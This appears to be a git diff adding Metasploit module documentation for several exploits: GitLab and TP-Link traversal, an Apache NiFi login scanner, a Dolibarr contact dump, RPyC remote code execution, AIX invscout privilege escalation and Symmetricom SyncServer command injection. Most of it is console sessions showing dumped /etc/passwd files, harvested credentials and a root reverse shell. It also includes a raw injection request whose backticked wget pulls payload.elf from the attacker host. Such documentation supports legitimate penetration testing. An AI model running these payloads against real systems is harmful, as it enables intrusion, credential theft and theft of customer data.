-9mNSwNeTCTQ6EmVxDV4yAq1O7TvVbpvctLZJwO0d4Fo6QQcnLYR0WDClSPdukfAwg0grX_WvojxwKADyM4A8A +[*] Creating child group: w7bktrEs with parent id: 6 +[+] CSRF Token: bnozD-CZzDp00QJ9Fx9pVEcwg6QO_1iykxrRUg17NIH9SrpYf3GRz8T73ssOkFZcj4iYvZ58XFUQCKh2xgFD8A +[*] Creating child group: uU8ELnQm with parent id: 7 +[+] CSRF Token: l57r09_W7GDI5VXVZ5SS0BOatod1-HCZyZj2z3J_Ac8ErmKEQD6xlXjPiWN-G63Y2yKtnuV7dH5Kio_ruQV2vg +[*] Creating child group: o23bujpZ with parent id: 8 +[+] CSRF Token: 81sCdo47UC5diIjdq_uquTFpMwzNDnV-mG9RprW-ACdga4shEdMN2-2iVGuydJWx-dEoFV2NcZkbfSiCfsR3Vg +[*] Creating child group: A3ksDjIZ with parent id: 9 +[+] CSRF Token: SQAMHEjnus9-5Qk-leIXDxLUTDfpD6tfP5fTqgTodezaMIVL1w_nOs7P1YiMbSgH2mxXLnmMr7i8haqOz5ICnQ +[*] Creating child group: fefAYofd with parent id: 10 +[+] CSRF Token: wAeXzAb4bFXWLnys1qQ1HCgXtwPplB9ACCdTliQbWTpTNx6bmRAxoGYEoBrPKwoU4K-sGnkXG6eLNSqy72EuSw +[*] Creating child group: d9ojqIJp with parent id: 11 +[+] CSRF Token: Jmtw9u0oBZ-TbViSBqgoNaj5NI5hxeIhKb9SWtR-TL-1W_mhcsBYaiNHhCQfJxc9YEEvl_FG5saqrSt-HwQ7zg +[*] Creating project WELLohsl +[*] Creating a dummy file in project +[*] Executing dir traversal +[+] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +sshd:x:101:65534::/run/sshd:/usr/sbin/nologin +git:x:998:998::/var/opt/gitlab:/bin/sh +gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false +gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false +gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh +mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh +registry:x:993:993::/var/opt/gitlab/registry:/bin/sh +gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh +gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh + +[+] /etc/passwd saved to /root/.msf4/loot/20230602160435_default_127.0.0.1_GitLabfile_635783.txt +[*] Deleting group GYS2KiLq +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md new file mode 100644 index 0000000000000..5c08ee32f3dc9 --- /dev/null +++ b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module attempts to spider files from an archer c7 router using a known traversal +vulnerability + +## Options + +### FILE + +This option sets what file you want to collect from the router. + +### SAVE + +Use this option to save the file found as loot + +## Verification Steps + +1. `use auxiliary/gather/tplink_archer_c7_traversal` +2. `set RHOSTS ` +3. `set FILE ` +4. `run` + +## Scenarios + +### Archer C7_V1_141204_US + +``` +msf6 > use auxiliary/gather/tplink_archer_c7_traversal +msf6 auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1 +rhosts => 192.168.0.1 +msf6 auxiliary(gather/tplink_archer_c7_traversal) > run +[*] Running module against 192.168.0.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Target device 'Archer C7' +[*] Grabbing data at /login/../../../etc/passwd +[+] /etc/passwd retrieved +root:x:0:0:root:/root:/bin/sh +Admin:x:0:0:root:/root:/bin/sh +bin:x:1:1:bin:/bin:/bin/sh +daemon:x:2:2:daemon:/usr/sbin:/bin/sh +adm:x:3:4:adm:/adm:/bin/sh +lp:x:4:7:lp:/var/spool/lpd:/bin/sh +sync:x:5:0:sync:/bin:/bin/sync +shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown +halt:x:7:0:halt:/sbin:/sbin/halt +uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh +operator:x:11:0:Operator:/var:/bin/sh +nobody:x:65534:65534:nobody:/home:/bin/sh +ap71:x:500:0:Linux Usermmm:/root:/bin/sh +admin:x:500:500:admin:/home:/bin/sh +guest:x:500:500:guest:/home:/bin/sh +root:x:0:0:root:/root:/bin/sh +admin:x:500:500:admin:/tmp/dropbear:/bin/sh + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md new file mode 100644 index 0000000000000..b90ff149545bc --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -0,0 +1,111 @@ +## Vulnerable Application + +This module attempts to take login details for Apache NiFi websites +and identify if they are valid or not. + +Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 +Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + + - set SSL false + - set rport 8080 + +### Docker Install + +Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples: + +``` +docker run -p 8443:8443 -d apache/nifi:1.21.0 +docker run -p 8443:8443 -d apache/nifi:1.20.0 +docker run -p 8443:8443 -d apache/nifi:1.19.0 +docker run -p 8443:8443 -d apache/nifi:1.18.0 +docker run -p 8443:8443 -d apache/nifi:1.17.0 +docker run -p 8443:8443 -d apache/nifi:1.16.0 +docker run -p 8443:8443 -d apache/nifi:1.15.0 +docker run -p 8443:8443 -d apache/nifi:1.14.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +``` + +Versions > 1.13.0 dynamically create a username and password. To view them in the docker logs, use the following command: +``` +docker logs | grep Generated +``` + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/apache_nifi_login` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. If any logins are valid, they will be printed + +## Options + +## Scenarios + +### Docker image of Apache NiFi 1.18.0 + +``` +msf6 > use auxiliary/scanner/http/nifi_login +msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/nifi_login) > set username 21acf672-7935-441c-a38b-b52643f029bf +username => 21acf672-7935-441c-a38b-b52643f029bf +msf6 auxiliary(scanner/http/nifi_login) > set password bad +password => bad +msf6 auxiliary(scanner/http/nifi_login) > run + +[*] Checking 127.0.0.1 +[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as '21acf672-7935-441c-a38b-b52643f029bf' with password 'bad' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/nifi_login) > set password R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 +password => R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 +msf6 auxiliary(scanner/http/nifi_login) > run + +[*] Checking 127.0.0.1 +[+] 127.0.0.1:8443 - Apache NiFi - Login successful as '21acf672-7935-441c-a38b-b52643f029bf' with password 'R4+xdl8P9Phrqne4NxHDponQs5X9ktn2' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Docker image of Apache NiFi 1.21.0 +``` +msf6 > use auxiliary/scanner/http/apache_nifi_login +msf6 auxiliary(scanner/http/apache_nifi_login) > set RHOST 127.0.0.1 +RHOST => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_login) > set RPORT 8443 +RPORT => 8443 +msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME test +USERNAME => test +msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD test +PASSWORD => test +msf6 auxiliary(scanner/http/apache_nifi_login) > run + +[*] Checking 127.0.0.1 +[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as 'test' with password 'test' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME a43c5a33-1635-46aa-8773-ef65f572fa0e +USERNAME => a43c5a33-1635-46aa-8773-ef65f572fa0e +msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u +PASSWORD => QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u +msf6 auxiliary(scanner/http/apache_nifi_login) > run + +[*] Checking 127.0.0.1 +[+] 127.0.0.1:8443 - Apache NiFi - Login successful as 'a43c5a33-1635-46aa-8773-ef65f572fa0e' with password 'QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/apache_nifi_login) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +127.0.0.1 127.0.0.1 8443/tcp (https) a43c5a33-1635-46aa-8773-ef65f572fa0e QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u Password + +msf6 auxiliary(scanner/http/apache_nifi_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md new file mode 100644 index 0000000000000..50ad218bcb477 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +This module identifies Apache NiFi websites and reports their version number. + +Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0. + +Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + - set SSL false + - set rport 8080 + +### Docker Install + +Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples: + +``` +docker run -p 8443:8443 -d apache/nifi:1.21.0 +docker run -p 8443:8443 -d apache/nifi:1.20.0 +docker run -p 8443:8443 -d apache/nifi:1.19.0 +docker run -p 8443:8443 -d apache/nifi:1.18.0 +docker run -p 8443:8443 -d apache/nifi:1.17.0 +docker run -p 8443:8443 -d apache/nifi:1.16.0 +docker run -p 8443:8443 -d apache/nifi:1.15.0 +docker run -p 8443:8443 -d apache/nifi:1.14.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +docker run -p 8080:8080 -d apache/nifi:1.12.0 +docker run -p 8080:8080 -d apache/nifi:1.11.0 +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/apache_nifi_version` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get back the version number of the NiFi instance + +## Options + +## Scenarios + +### Docker image 1.21.0 and 1.11.0 + +``` +└─$ docker run -p 8443:8443 -d apache/nifi:1.21.0 +1df39f1d1dc0a4abde9e2daedf8b3dc66d37fb53126e491b7050da618e971dfd +└─$ ./msfconsole -q +msf6 > use auxiliary/scanner/http/apache_nifi_version +msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_version) > run + +[+] Apache NiFi 1.21.0 found on 127.0.0.1 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +``` +└─$ docker run -p 8080:8080 -d apache/nifi:1.11.0 +089f1b164853df8b088a3e80d25d7f886b1934a654ed7807433e3eef46a5973f +└─$ ./msfconsole -q +msf6 > use auxiliary/scanner/http/apache_nifi_version +msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_version) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 auxiliary(scanner/http/apache_nifi_version) > set rport 8080 +rport => 8080 +msf6 auxiliary(scanner/http/apache_nifi_version) > run + +[+] Apache NiFi 1.11.0 found on 127.0.0.1 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md new file mode 100644 index 0000000000000..5521ebadfe3f5 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -0,0 +1,179 @@ +## Vulnerable Application +### Dolibarr 16 pre-auth contact database dump + +Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. +An unauthenticated attacker may retrieve a company’s entire customer file, prospects, suppliers, +and potentially employee information if a contact file exists. +Both public and private notes are also included in the dump. + +### Dolibarr GitHub Repository & Dolibarr setup with vulnerable docker image + +If you need to setup Dolibarr, +this is the official GitHub Repository from Dolibarr or via docker with an unofficial but working image and docker-compose. +``` +Official GitHub Repository: + +https://github.com/Dolibarr/dolibarr/tree/16.0.4 +``` + + +Unofficial image with docker-compose: + +`docker pull tuxgasy/dolibarr:16.0.4` + +Important: This image does not contain a database. So you need to link it with a database container. + +Use Docker Compose to integrate it with MariaDB (you can also use MySQL if you prefer). + +Create docker-compose.yml file as following: +``` +version: "3" + +services: + mariadb: + image: mariadb:latest + environment: + MARIADB_DATABASE: dolibarr + MARIADB_USER: dolibarr + MARIADB_PASSWORD: dolibarr + MARIADB_RANDOM_ROOT_PASSWORD: 'yes' + web: + image: tuxgasy/dolibarr:16.0.4 + environment: + DOLI_DB_HOST: mariadb + DOLI_DB_USER: dolibarr + DOLI_DB_PASSWORD: dolibarr + DOLI_DB_NAME: dolibarr + DOLI_URL_ROOT: 'http://0.0.0.0' + PHP_INI_DATE_TIMEZONE: 'Europe/Paris' + ports: + - "80:80" +``` + +Then run all services with `docker-compose up -d`. Now, go to http://0.0.0.0 to access to the new Dolibarr installation. + +## Dolibarr Configuration + +Default credentials : admin/admin + +Important: +Once Dolibarr is installed, +you will have to activate the Third-parties module and create at least one contact in the latter to validate that the module works. + +To use this module, you must first enable it using an administrator account, via the menu option "Home - Setup - Modules/Applications". + +Choose the tab where the module is listed. Then click on "Activate". + +Finally, you can create a member via "Third-parties - New Contact/Address". + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/dolibarr_16_contact_dump` +4. Do: `set RHOSTS [IP] or [Dolibarr domain]` +5. Do: `exploit` +6. You should retrieve a file. + +## Options + +### TARGETURI + +The path to Dolibarr instance. Defaults to `/`, `http://dolibarrdomain/` + +## Scenarios + +### Dolibarr 16.0.4 on Ubuntu 22.10 +Exploitation of a Dolibarr 16.0.4. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/ +RHOSTS => http://[Dolibarr domain]/ +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 +[+] Database type: mysqli +[+] Database name: dolibarr +[+] Database user: dolibarr +[+] Database host: mariadb +[+] Database port: 3306 +[+] Found 1 contacts. +[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_820189.json +[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_736790.csv +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +### Dolibarr 16.0.4 on Ubuntu 22.10 +Attempted exploitation of a Dolibarr 16.0.4 with an empty database. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +RHOSTS => X.X.X.X +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 +[-] unexpected-reply: Dolibarr data did not include contacts field +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +### Dolibarr 17.0.0 on Ubuntu 22.10 +Attempted exploitation of a Dolibarr 17.0.0. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +RHOSTS => X.X.X.X +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The target is not exploitable. Detected apparently non-vulnerable Dolibarr version: 17.0.0 ForceExploit is enabled, proceeding with exploitation. +[-] unexpected-reply: Exploit response code: 403 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +## Contact database dump +Here is an example of what your .csv and .json files would look like if the contact exfiltration was successful. + +### .json + +``` +{ + "contacts": [ + { + "db": { + "db": { + }, + "type": "mysqli", + "forcecharset": "utf8", + "forcecollate": "utf8_unicode_ci", + "connected": true, + "database_selected": true, + "database_name": "dolibarr", + "database_user": "dolibarr", + "database_host": "mariadb", + + ... + + }, + "civility_code": "MR", + "civility": "Mr.", + "civilite": null, + "address": "5100, rue de la Boatie", + "zip": "69000", + "town": "Lyon", + "poste": "DSI", + + ... +``` + +### .csv + +| id | country_code | state | note_private | lastname | firstname | civility | address | zip | town | poste | email | +|---|---|---|---|---|---|---|---|---|---|---|---| +| 1 | FR | Rhône | | Latourelle | Valentine | Mrs. | 1700, Place de Paume | 69400 | Bron | CEO | valentine@latourelle.latourelle | +| 2 | FR | | don't make any discount | Paston | Hugues | Mr. | 2200, rue Bonneteria | 59370 | Mairieux | CEO | hugues@paston.paston | +| 3 | FR | Rhône | | Grivois | Thierry | Mr. | 5100, rue de la Boatie | 69000 | Lyon | DSI | thierry@grivois.grivois | diff --git a/documentation/modules/auxiliary/scanner/http/rpyc_rce.md b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md new file mode 100644 index 0000000000000..17326b0b8e10d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md @@ -0,0 +1,91 @@ +## Introduction +This module automatically exploits a vulnerability to remotely execute code on +RPyC servers running versions 4.1.0 and 4.1.1. The vulnerability allows a +remote attacker to dynamically modify object attributes to construct a remote +procedure call that executes code for an RPyC service with default +configuration settings. + +## Vulnerable Application: + +RPyC servers running versions between 4.1.0 and 4.1.1. + +Link to vulnerable RPyC version: +https://github.com/tomerfiliba-org/rpyc/releases/tag/4.1.1 + + +Link to Advisory: +https://github.com/advisories/GHSA-pj4g-4488-wmxm + +## Options + +**RHOST** + +Configure the remote vulnerable system. + +**RPORT** + +Configure the TCP port of the RPyC server. + +**COMMAND** + +Configure the command to execute on the remote system. + +## Verification Steps + +1. Have exploitable RPyC server (example IP: 0.0.0.0): +2. Start `msfconsole`: +3. Do: ```use auxiliary/scanner/http/rpyc_rce``` +4. Do: ```set RHOST 0.0.0.0``` +7. Do: ```set RPORT 18812``` (Set the remote port on which the server is accessible) +8. Do: ```set COMMAND whoami``` (Set the command you want to execute) +9. Do: ```run``` +10. Logs the output of the command you specified. + + +## Scenarios + +Exploiting a vulnerable RPyC server located at 0.0.0.0:9999 with the command +`whoami`: + +```log +msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +msf6 auxiliary(scanner/http/rpyc_rce) > run +``` + +Demo example output for the module: + +```log +msf6 > use auxiliary/scanner/http/rpyc_rce +msf6 auxiliary(scanner/http/rpyc_rce) > show options + +Module options (auxiliary/scanner/http/rpyc_rce): + +Name Current Setting Required Description +---- --------------- -------- ----------- +COMMAND whoami yes Command to execute +RHOST 0.0.0.0 yes Target address +RHOSTS 0.0.0.0 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp +loit/basics/using-metasploit.html +RPORT 9999 yes Target port +THREADS 1 yes The number of concurrent threads (max one per host) + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +RHOST => 0.0.0.0 +msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +RPORT => 9999 +msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +COMMAND => whoami +msf6 auxiliary(scanner/http/rpyc_rce) > run + +[*] Running for 0.0.0.0... +[*] Connected to RPyC service at 0.0.0.0:9999 +[*] Executing command: whoami +[*] Command result: nobody +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md new file mode 100644 index 0000000000000..ac51117c2d32f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md @@ -0,0 +1,41 @@ +## Vulnerable Application + +Version scanner for the Apache RocketMQ product. + +### Setup + +Instructions taken from https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT + +``` +docker pull apache/rocketmq:4.9.4 +# Start nameserver +docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv +# Start Broker +docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/misc/rocketmq_version` +1. Do: `set rhosts [ips]` +1. Do: `run` +1. You should get the version number from rocketmq + +## Options + +## Scenarios + +### 4.9.4 on Docker from above instructions + +``` +msf6 > use auxiliary/scanner/misc/rocketmq_version +msf6 auxiliary(scanner/misc/rocketmq_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/misc/rocketmq_version) > run + +[+] 127.0.0.1:9876 - RocketMQ version V4.9.4 found with brokers: [{"brokerAddrs"=>{"0"=>"172.17.0.4:10911"}, "brokerName"=>"broker-a", "cluster"=>"DefaultCluster"}] +[*] 127.0.0.1:9876 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md new file mode 100644 index 0000000000000..d25259d00860b --- /dev/null +++ b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in IBM AIX +invscout set-uid root utility present in AIX 7.2 and earlier. + +The undocumented -rpm argument can be used to install an RPM file; +and the undocumented -o argument passes arguments to the rpm utility +without validation, leading to command injection with effective-uid +root privileges. + +This module has been tested successfully on AIX 7.2. + +## Verification Steps + +1. `msfconsole` +1. Get a session +1. `use exploit/aix/local/invscout_rpm_priv_esc` +1. `set session ` +1. `run` + +## Options + +### INVSCOUT_PATH + +Path to invscout executable (default: `/usr/sbin/invscout`) + +## Scenarios + +### IBM AIX 7.2 + +``` +msf6 > use exploit/aix/local/invscout_rpm_priv_esc +msf6 exploit(aix/local/invscout_rpm_priv_esc) > set payload cmd/unix/reverse +payload => cmd/unix/reverse +msf6 exploit(aix/local/invscout_rpm_priv_esc) > set session 1 +session => 1 +msf6 exploit(aix/local/invscout_rpm_priv_esc) > run + +[*] Started reverse TCP double handler on 192.168.200.130:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Output: uid=204(user) gid=1(staff) euid=0(root) +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo 9BZSm5LKtW9OMKHg; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket A +[*] A: "9BZSm5LKtW9OMKHg\r\n" +[*] Matching... +[*] B is input... +[*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:49036) at 2023-05-13 18:29:23 -0400 + +id +uid=204(user) gid=1(staff) euid=0(root) +uname -a +AIX localhost 2 7 000000000000 +``` diff --git a/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md new file mode 100644 index 0000000000000..785922ebbbd13 --- /dev/null +++ b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md @@ -0,0 +1,838 @@ +## Vulnerable Application + +Symmetricom SyncServer is a Network Time Protocol (NTP) hardware appliance. +The current supported version is the S600 series. This module targets the end of life S100 +through S300 series which are still found in production and even exposed to the Internet at this time. + +The command injection vulnerability exists in the `hostname` parameter of `/controller/ping.php`. +No authentication is required due to a session handling vulnerability in affected versions which sends +a redirect to login yet still executes the command and displays the output if you ignore the redirect. +Only the first word of the command's output is displayed in the response. The following example request +would result in a response which includes `uid=0(root)`: + +``` +POST /controller/ping.php HTTP/1.1 +Host: 127.0.0.1 +Content-Length: 149 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://127.0.0.1 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Referer: http://127.0.0.1/controller/ping.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +currentTab=ping&refreshMode=ðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping +``` + +The application strips out all known command injection characters except for backticks. In ping.php: + +``` +$hostnameEsc = preg_replace( + array('/;/', '/\|/', '/>/', '/&1`; + } + else + { + $cmdout = `$PING -c 5 -w 5 $ARGV[0] 2>&1`; + } +} + +...snip + +print "$cmdout"; +``` + +We believe that this vulnerability is the same as [CVE-2022-40022](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40022). However, no details are published on this vulnerability other than vulnerability title and affected software version. We reached out to Microchip to ask if this is the same vulnerability and they have not responded at the time this was written. + +## Verification Steps + +Example steps: + +1. Start msfconsole +2. Do: `use exploit/linux/http/symmetricom_syncserver_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `set SRVHOST [IP]` +5. Do: `set SRVPORT [port]` +6. Do: `set LHOST [IP]` +7. Do: `set LPORT [port]` +8. Do: `check` +9. If the target is vulnerable: +10. Do: `exploit` +11. You should get a meterpreter shell + +## Options + +### FILENAME + +The name of the payload to write. + +#### Additional information + +SRVHOST, SRVPORT, LHOST, and LPORT are required because a reverse shell is the only option for exploitation. +The server response to commands includes only the first word of output. Everything else is truncated +and you can't use the `>` character to write the command output to file, therefore this module implements +only a Meterpreter reverse shell. + +The server is limited on ports which it can connect back to for the reverse shell. Ports 25 and 80 were successfully +used when developing this module. + +## Scenarios + +``` +msf6 exploit(linux/http/symmetricom_syncserver_rce) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.143.50:25 +msf6 exploit(linux/http/symmetricom_syncserver_rce) > [*] Using URL: http://192.168.143.50/payload.elf +[*] 192.168.143.222:80 - Exploit started... +[*] 192.168.143.222:80 - Sending wget command... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 231 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60wget%24%7bIFS%7dhttp%3a//192.168.143.50/payload.elf%24%7bIFS%7d-O%24%7bIFS%7d/tmp/payload.elf%60&port=eth0&pingType=ping +[*] 192.168.143.222:80 - Payload request received: /payload.elf +#################### +# Response: +#################### +HTTP/1.1 302 Found +Date: Thu, 18 May 2023 14:13:53 GMT +Server: Apache +Set-Cookie: PHPSESSID=0943f04a12e46bb499725a4c2be0a9f3; path=/ +Location: ../login.php +Transfer-Encoding: chunked +Content-Type: text/html + + + + + + +Symmetricom SyncServer + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + +
 
 
 
